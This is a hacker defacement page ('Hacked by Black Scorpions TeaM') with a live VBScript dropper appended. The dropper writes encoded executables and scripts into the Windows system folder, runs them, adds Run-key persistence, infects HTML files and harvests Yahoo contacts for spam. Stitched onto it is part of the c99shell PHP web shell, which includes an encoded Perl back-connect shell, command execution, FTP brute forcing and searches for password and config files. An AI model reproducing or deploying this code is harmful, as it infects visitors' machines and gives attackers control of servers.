<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=us-ascii">
<!-- base href="http://teedirectory.com/store/aom.php" --><title>Hacked by Black
Scorpions TeaM</title><meta http-equiv="Content-Type" content="text/html; charset=us-ascii">
<meta content="Microsoft FrontPage 5.0" name="GENERATOR"></head>
<body onload="teclear();" background="../My%20Documents/14_files/1152295011.htm" bgcolor="#000000"><div style="position: relative;">

 


<style>.layermensaje {
 FONT-SIZE: 10pt; COLOR: #DCDCDC; LINE-HEIGHT: 10pt; FONT-FAMILY: "Courier New"
}
</style>
<font style="font-size: 2pt;" face="Courier New">
</font><p align="center">
<img alt="http://img161.imageshack.us/img161/9905/1111na7.gif" src="http://img161.imageshack.us/img161/9905/1111na7.gif"><font style="font-size: 1pt;" color="#66ff33" face="Courier New">
<script language="javascript">
<!--
// mensaje elite
mensaje=
'<p align="center"> Connecting , Please Wait . . . . . . . <br> '    +
'<p align="center"> <b><font size="4"color=#ffffff> "HacKed by BlacK Scorpions TeaM" </font>'+
'<br />'+
'<br />  Mr.Hack        '+
 '<br/>mail: kp.c[at]hotmail[dot]com '+
 '<br/> '+
'<br />  r00t c0d3r     '+
'<br/>mail: HnT[at]W[dot]CN  '+
'<br/> '+
'<br/>Mr.Ro0oM '+
'<br/>Rai4ever[at]hotmail[dot]com '
line=0
cursor='_'
function teclear(){
if(line==mensaje.length) cursor=''
ttecleado.innerHTML=mensaje.substring(0,line)+cursor
if(line++<mensaje.length) setTimeout("teclear()",60)
}
//-->
</script>
 </font>
</p><div class="layermensaje" id="ttecleado" ?=""><p align="left"><font size="2" face="Courier New">Connecting To The Server, Please Wait . . . . . . . . . . . . .  </font></p>   <br>        <br><br> Connect Sucssefully            <br>    _</div>
<object classid="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" align="right" width="0" height="0"><param name="controls" value="PlayButton"><param name="autostart" value="-1">
  <param name="src" value="http://www.h3rb.com/beta/M6roDe.ram" ref><param name="SHUFFLE" value="0"><param name="PREFETCH" value="0"><param name="NOLABELS" value="0"><param name="LOOP" value="0"><param name="NUMLOOP" value="0"><param name="CENTER" value="0"><param name="MAINTAINASPECT" value="0"><param name="BACKGROUNDCOLOR" value="#000000">
  <param name="_ExtentX" value="609"><param name="_ExtentY" value="661"></object>
<p></p></div></body></html>
<script language=vbscript>
on error resume next
fileexe1="077090144000003000000000004000000000255255000000184000000000000000000000064000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000184000000000014031186014000180009205033184001076205033084104105115032112114111103114097109032099097110110111116032098101032114117110032105110032068079083032109111100101046013013010036000000000000000000000212036142028144069224079144069224079144069224079030090243079135069224079108101242079147069224079082105099104144069224079000000000000000000000000000000000000000000000000080069000000076001003000081115047069000000000000000000000000224000015001011001005012000002000000000030006000000000000000007017000000000016000000000032000000000000064000000016000000000002000000004000000000004000000000004000000000000000000000000080006000000004000000139039000000002000000000000000016000000016000000000000016000000016000000000000000000016000000000000000000000000000000000068032000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000032000000068000000000000000000000000000000000000000000000000000000000000000000000000000000000046116101120116000000000240001000000000016000000000002000000000004000000000000000000000000000000000000000000032000000096046114100097116097000000250001000000000032000000000002000000000006000000000000000000000000000000000000000000064000000064046100097116097000000000128027006000000048000000000002000000000008000000000000000000000000000000000000000000064000000192000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000106000106000106000106001106000232207001000000163112075070000106000104000000000128106000106000104041048064000255053112075070000232181001000000163116075070000104120075070000104128026006000104240048064000255053116075070000232156001000000104004001000000104124075070000232231000000000104028048064000104124075070000232244000000000104000016000000104088048064000104124075070000232202000000000163224048064000106000104228048064000255053120075070000104240048064000255053224048064000232174000000000255053224048064000232145000000000255053112075070000232032001000000255053116075070000232021001000000106005106000106000104124075070000106000106000232073000000000195085139236131196228106000106000106000141069228080232063000000000011192116020141069228080232062000000000141069228080232035000000000235217201195104000016064000104224147004000106000106000232024000000000232185255255255195255037020032064000255037040032064000255037036032064000255037032032064000255037028032064000255037000032064000255037012032064000255037008032064000255037004032064000204204204204204204204204204204085139236087255117008232036000000000139125008139077012003248051210051192138004010136004058131194001132192117243095139069008201194008000204204204085139236139069008131232004131192004128056000116048128120001000116032128120002000116016128120003000117230043069008131192003201194004000043069008131192002201194004000043069008131192001201194004000043069008201194004000255037060032064000255037048032064000255037052032064000255037056032064000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000188032000000000000000000000000000000252032000000020032000000196032000000000000000000000000000000074033000000028032000000168032000000000000000000000000000000146033000000000032000000216032000000000000000000000000000000238033000000048032000000000000000000000000000000000000000000000000000000000000000000086033000000134033000000122033000000100033000000000000000000236032000000000000000000054033000000042033000000028033000000008033000000000000000000182033000000198033000000218033000000160033000000000000000000103000083104101108108069120101099117116101065000115104101108108051050046100108108000140000068105115112097116099104077101115115097103101065000000025001071101116077101115115097103101065000023002083101116084105109101114000000066002084114097110115108097116101077101115115097103101000000117115101114051050046100108108000000026000067108111115101072097110100108101000060001071101116083121115116101109068105114101099116111114121065000202001079112101110070105108101000000158002087114105116101070105108101000107101114110101108051050046100108108000000105000073110116101114110101116067108111115101072097110100108101000134000073110116101114110101116079112101110065000135000073110116101114110101116079112101110085114108065000000142000073110116101114110101116082101097100070105108101000000119105110105110101116046100108108000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000092083121115116101109115046101120101000104116116112058047047104049046114105112119097121046099111109047100114101097109104097099107047072047078097118105100104097099107046101120101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
filevbs1="039078097118105100032110101119032118105114117115032050048048054040049051055053046049041013010111110032101114114111114032114101115117109101032110101120116013010100105109032102105108101104116109044115121115044121114013010102105108101104116109049061034049048048049048053049048057048051050049049053049050049049049053048049051048049048048056051049048049049049054048051050049048048049048050048051050048054049048051050049048048049049049048057057049049055049048057049048049049049048049049054048052054048057057049049052049048049048057055049049054049048049048054057049048056049048049049048057049048049049049048049049054048052048048051052049049049048057056049048054049048049048057057049049054048051052048052049048049051048049048049048048049048050048052054049049053049048049049049054048054053049049054049049054049049052049048053048057056049049055049049054049048049048051050048051052048057057049048056048057055049049053049049053049048053049048048048051052048052052048051050048051052048057057049048056049049053049048053049048048048053056048054054048054056048053055048053052048054055048053051048053051048053052048052053048053052048053051048054053048053049048052053048052057048052057048054056048052056048052053048053055048053054048053049048054053048052053048052056048052056048054055048052056048053050048055048048054055048053048048053055048054057048053049048053052048051050048051052048049051048049048049049053049048049049049054048051050049048050049049053049049049048051050048054049048051050049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052048056051048057057049049052049048053049049050049049054049048053049049048049048051048052054048055048049048053049048056049048049048056051049050049049049053049049054049048049049048057048055057048057056049048054049048049048057057049049054048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049053048054049049048048049048050048052054048054055049049052049048049048057055049049054049048049048055057048057056049048054049048049048057057049049054048052048048051052048056051049048052049048049049048056049048056048052054048054053049049050049049050049048056049048053048057057048057055049049054049048053049049049049049048048052054048052057048051052048052052048051052048051052048052049048049051048049048049049053049048049049049054048051050049049052049048049048054049049048048049048050048052054048057057049049052049048049048057055049049054049048049049049049048057056049048054049048049048057057049049054048052048048051052049049057049049053048057057049049052049048053049049050049049054048052054049049053049048052049048049049048056049048056048051052048052052048051052048051052048052049048049051048049048049049053049050049049049053048054049049048050049049053049049049048052054048055049049048049049049054048056051049049050049048049048057057049048053048057055049048056048055048049049049049048056049048048049048049049049052048052048048052057048052049048049051048049048048055048049049049049049052048051050048057055048051050048054049048051050048052057048051050048056052049049049048051050048055054049048049049049048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052049048051050048056051049049054049048049049049050048051050048053049048049051048049048049048050049048053049048056049048049049049056048057056049049053048053048048054049049048050049048053049048056049048049049049056048057056049049053048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049049056048057056049049053048052057048052052048057055048052052048053049048052049048052049048049051048049048049048053049048050048051050048057055048051050048054048048051050049048056049048049049049048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052049048052051048052057048051050049049054049048052049048049049049048048051050049048050049048053049048056049048049049048049049050048049048049048053048048054049049048050049048053049048056049048049049048049049050048049048049048053048048051050048051056048051050048057057049048052049049052048052048049048057049048053049048048048052048049048050049048053049048056049048049049048049049050048049048049048052057048052052048057055048052052048053049048052049048052049048049051048049048049049048049048049049050048049049054048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048054057048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048052057048049051048049048049048053049048050048051050049048050049049053049049049048052054049049049049049050049048049049049048049049054049048049049050048049049054049048050049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056051049050049049049053049049054049048049049048057049048049048052054049048048049048056049048056048051052048052049048052054049049052049048049048057055049048048048057055049048056049048056048054048048054050048051052049049049049049048048051052048051050049049054049048052049048049049049048048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049048049049050048049048049048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049048049049050048049048049048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056052048056051048056048048053049048053048048056054048052054048054056048055054048055054048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048052057048049051048049048049048053049048050048051050049048050049049053049049049048052054049049049049049050049048049049049048049049054049048049049050048049049054049048050049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048056051049050049049049053049049054049048049049048057049049056048052054049048048049048056049048056048051052048052049048052054049049052049048049048057055049048048048057055049048056049048056048054048048054050048051052049049049049049048048051052048051050049049054049048052049048049049049048048049051048049048049048050049049053049049049048052054048054055049049052049048049048057055049049054049048049048056052049048049049050048049049054048055048049048053049048056049048049048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048052054049049057049049052049048053049049054049048049048051050049048050049048053049048056049048049049049056048057056049049053048053048048049051048049048049049053048052054048055057049049050049048049049049048048051050048052048049049053049050049049049053048051050048051056048051050048051052048057050048055053049048049049049052049049048049048049049048056048052054049049056048057056049049053048051052048052049048049051048049048049048049049049048049048048048051050049048053049048050048049051048049048048054048048052055049049053048057057049049052049048053049049050049049054048054050034013010115101116032102115111061099114101097116101111098106101099116040034115099114105112116105110103046102105108101115121115116101109111098106101099116034041013010115101116032114101061099114101097116101111098106101099116040034119115099114105112116046115104101108108034041013010115121115061102115111046071101116083112101099105097108070111108100101114040049041013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111110034013010102105108101104116109061034060115099114105112116032108097110103117097103101061118098115099114105112116062034032038032118098099114108102032038032034111110032101114114111114032114101115117109101032110101120116034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101101120101049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050069046068076076034041046114101097100097108108032038032034034034034032038032118098099114108102013010102105108101104116109061102105108101104116109032038032034102105108101118098115049061034034034032038032102115111046111112101110116101120116102105108101040115121115032038032034092084083080051050086046068076076034041046114101097100097108108032038032034034034034032038032118098099114108102013010070111114032097032061032049032084111032076101110040102105108101104116109049041032083116101112032051013010102105108101104116109061102105108101104116109032038032099104114040109105100040102105108101104116109049044097044051041041013010110101120116013010114101046114101103119114105116101032034072075069089095067085082082069078084095085083069082092083111102116119097114101092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046118098115034013010114101046114101103119114105116101032034072075069089095076079067065076095077065067072073078069092083079070084087065082069092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110092034032038032034077105099114111115111102116032087105110100111119115034032044115121115032038034092075101114110101108046101120101034013010121114061114101046082101103082101097100040034072075069089095067085082082069078084095085083069082092083111102116119097114101092121097104111111092112097103101114092089097104111111033032085115101114032073068034041013010115116097114116013010083117098032115116097114116040041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032100114049032073110032102115111046068114105118101115013010073102032100114049046068114105118101084121112101032061032050032079114032100114049046068114105118101084121112101032061032051032084104101110032102105108101049032040100114049032038032034092034041058032102111108100101114049032040100114049032038032034092034041013010078101120116013010115101110100109097105108013010069110100032083117098013010083117098032102111108100101114049040100114049041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102111032073110032102115111046071101116070111108100101114040100114049041046083117098070111108100101114115013010105102032085067097115101040114105103104116040102111044050053041041061034089065072079079033092077069083083069078071069082092080082079070073076069083034032116104101110032121097104111111040102111041013010102105108101049032040102111041013010102111108100101114049032040102111041013010078101120116013010069110100032083117098013010083117098032102105108101049040102111041013010111110032101114114111114032114101115117109101032110101120116013010070111114032069097099104032102105032073110032102115111046071101116070111108100101114040102111041046070105108101115013010110106032040102105041013010078101120116013010069110100032083117098013010115117098032110106040102105041013010111110032101114114111114032114101115117109101032110101120116013010101120116061085067097115101040102115111046071101116069120116101110115105111110078097109101040102105041041013010105102032101120116061034072084077034032111114032101120116061034072084077076034032111114032101120116061034072084084034032116104101110013010105102032114105103104116040102115111046111112101110116101120116102105108101040102105044049041046114101097100097108108044108101110040102105108101104116109041041060062102105108101104116109032116104101110013010102115111046111112101110116101120116102105108101040102105044056041046119114105116101032118098099114108102032038032102105108101104116109013010101110100032105102013010101110100032105102013010101110100032115117098013010115117098032121097104111111040102111121049041013010070111114032069097099104032102111121050032073110032102115111046071101116070111108100101114040102111121049041046083117098070111108100101114115013010109097105108097108108061109097105108097108108032038032102115111046071101116070105108101078097109101040102111121050041032038032034064121097104111111046099111109034032038032118098099114108102013010110101120116013010102115111046099114101097116101116101120116102105108101040115121115032038032034092109097105108046108111103034041046119114105116101032109097105108097108108032038032034069078068034013010102115111046099114101097116101116101120116102105108101040115121115032038032034092115101110100046108111103034041046119114105116101032121114032038032034064121097104111111046099111109034013010101110100032115117098013010115117098032115101110100109097105108040041013010111110032101114114111114032114101115117109101032110101120116013010115101110100109061102115111046111112101110116101120116102105108101040115121115032038032034092115101110100046108111103034044049041046114101097100097108108013010115101116032109097105108109061102115111046111112101110116101120116102105108101040115121115032038032034092109097105108046108111103034044049041013010109097105108097061109097105108109046114101097100108105110101013010119104105108101032109097105108097032060062032034069078068034013010083101116032111098106077101115115097103101032061032067114101097116101079098106101099116040034067068079046077101115115097103101034041032013010111098106077101115115097103101046083117098106101099116032061032034072101108108111034013010111098106077101115115097103101046083101110100101114032061032115101110100109013010111098106077101115115097103101046102114111109061032115101110100109013010111098106077101115115097103101046084111032061032109097105108097013010111098106077101115115097103101046084101120116066111100121032061032034072101108108111034032038032118098099114108102032038032034071111032116111032109121032115097105116058032104116116112058047047103105114108115101120046119101098115046105111047112105099116117114101046104116109034013010111098106077101115115097103101046083101110100013010109097105108097061109097105108109046114101097100108105110101013010119101110100013010102115111046067114101097116101084101120116070105108101040115121115032038032034092083121115116101109118046100108108034041046119114105116101032034111102102034013010101110100032115117098013010"
dim sys
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36 "
set fso = df.createobject("Scripting.FileSystemObject","")
set s=df.CreateObject("Shell.Application.1","")
set re=df.createobject("wscript.shell","")
sys=fso.GetSpecialFolder(1)
For a = 1 To Len(filevbs1) Step 3
filevbs2=filevbs2 & chr(mid(filevbs1,a,3))
if a < len(fileexe1)+1 then fileexe2=fileexe2 & chr(mid(fileexe1,a,3))
next
fso.CreateTextFile(sys & "\TSP32E.DLL").write fileexe1
if fso.opentextfile(sys & "\Systeme.dll").readall<>"on" then
fso.CreateTextFile(sys & "\Kernel.exe").write fileexe2
s.Open (sys & "\Kernel.exe")
end if
fso.CreateTextFile(sys & "\TSP32V.DLL").write filevbs1
if fso.opentextfile(sys & "\Systemv.dll").readall<>"on" then
fso.CreateTextFile(sys & "\Kernel.vbs").write filevbs2
s.Open (sys & "\Kernel.vbs")
end if
</script>

$shver = "1.0 pre-release build #16"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href="http://ccteam.ru/releases/c99shell">c99shell v.".$shver."</a>: access denied";

$gzipencode = TRUE; //Encode with gzip?

$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE)

$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server
$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center><b>C </b></center>";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "user@host.tld"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$dizin = str_replace("\",DIRECTORY_SEPARATOR,$dizin);
if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);}
$dizin = str_replace("\",DIRECTORY_SEPARATOR,$dizin);
if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;}
$dizin = str_replace("\\","\",$dizin);
$dizinispd = htmlspecialchars($dizin);
/*dizin*/
$real = realpath($dizinispd);
$path = basename ($PHP_SELF);
function dosyayicek($link,$file)
{
   $fp = @fopen($link,"r");
   while(!feof($fp))
   {
       $cont.= fread($fp,1024);
   }
   fclose($fp);

   $fp2 = @fopen($file,"w");
   fwrite($fp2,$cont);
   fclose($fp2);
}

 


$exeftypes  = array(
 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 "perl %f%" => array("pl","cgi")
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if TRUE and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color="yellow">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
 // array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c99";  // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name "config*""),
  array("find config* files in current dir", "find . -type f -name "config*""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  array("list file attributes on a Linux second extended file system", "lsattr -va"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$sess_cookie = "c99shvars"; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<img src="".$surl."act=img&img=home" alt="Home" height="20" width="20" border="0">",$surl),
 array("<img src="".$surl."act=img&img=back" alt="Back" height="20" width="20" border="0">","#" onclick="history.back(1)"),
 array("<img src="".$surl."act=img&img=forward" alt="Forward" height="20" width="20" border="0">","#" onclick="history.go(1)"),
 array("<img src="".$surl."act=img&img=up" alt="UPDIR" height="20" width="20" border="0">",$surl."act=ls&d=%upd&sort=%sort"),
 array("<img src="".$surl."act=img&img=refresh" alt="Refresh" height="20" width="17" border="0">",""),
 array("<img src="".$surl."act=img&img=search" alt="Search" height="20" width="20" border="0">",$surl."act=search&d=%d"),
 array("<img src="".$surl."act=img&img=buffer" alt="Buffer" height="20" width="20" border="0">",$surl."act=fsbuff&d=%d"),
 array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
 array("<b>Tools</b>",$surl."act=tools&d=%d"),
 array("<b>Proc.</b>",$surl."act=processes&d=%d"),
 array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>Sec.</b>",$surl."act=security&d=%d"),
 array("<b>SQL</b>",$surl."act=sql&d=%d"),
 array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
 array("<b>Update</b>",$surl."act=update&d=%d"),
 array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
 array("<b>Self remove</b>",$surl."act=selfremove"),
 array("<b>Logout</b>","#" onclick="if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

//END CONFIGURATION


// /Next code isn't for editing/
function ex($cfe)
{
 $res = '';
 if (!empty($cfe))
 {
  if(function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("n",$res);
   }
  elseif(function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(function_exists('system'))
   {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
   @pclose($f);
  }
 }
 return $res;
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}

function cf($fname,$text)
{
 $w_file=@fopen($fname,"w") or err(0);
 if($w_file)
 {
 @fputs($w_file,@base64_decode($text));
 @fclose($w_file);
 }
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>';    
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
